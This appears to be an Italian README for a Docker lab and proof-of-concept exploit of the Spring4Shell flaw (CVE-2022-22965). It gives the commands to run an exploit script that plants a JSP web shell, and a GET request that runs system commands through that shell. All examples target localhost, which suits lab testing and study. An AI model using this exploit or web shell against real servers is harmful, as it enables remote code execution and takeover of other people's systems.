
Exploit proof-of-concept per CVE-2022-22965 (Spring4Shell) con un'applicazione Spring Boot vulnerabile, script Python di exploit e ambiente lab basato su Docker per il test.
Questa è una prova di concetto di un exploit per la vulnerabilità CVE-2022-22965 (spring4shell). È composto da:
All'interno della cartella principale del progetto c'è un Dockerfile che crea un'immagine Tomcat e copia i file vulnerable_app/target/spring4shell.war e safe_app/target/safeapp.war nella cartella /usr/local/tomcat/webapps, quindi devi solo creare l'immagine e avviare il container.
docker build -t cve_2022_22965 .
docker run -p 8080:8080 -d --name springshell cve_2022_22965
curl --location --request POST http://localhost:8080/spring4shell/vulnerability/exploit?name=Elliot%20Alderson
Se vedi questa risposta
This is Elliot Alderson
Allora l'applicazione è attiva.
cd exploits
python spring4shell.py http://localhost:8080/spring4shell/vulnerability/exploit
Puoi opzionalmente specificare il nome del file jsp iniettato, ma non è obbligatorio. Esempio
cd exploits
python spring4shell.py http://localhost:8080/spring4shell/vulnerability/exploit -f exploit.jsp
Se non specifichi un nome, ne verrà generato uno casuale.
Vedrai quanto segue nella shell di comando

Dopo l'exploit puoi anche inviare un comando tramite richiesta HTTP GET
http://localhost:8080/exploit.jsp?pwd=pass&cmd=ls
Hai aperto con successo una shell sulla macchina vittima! Buon divertimento!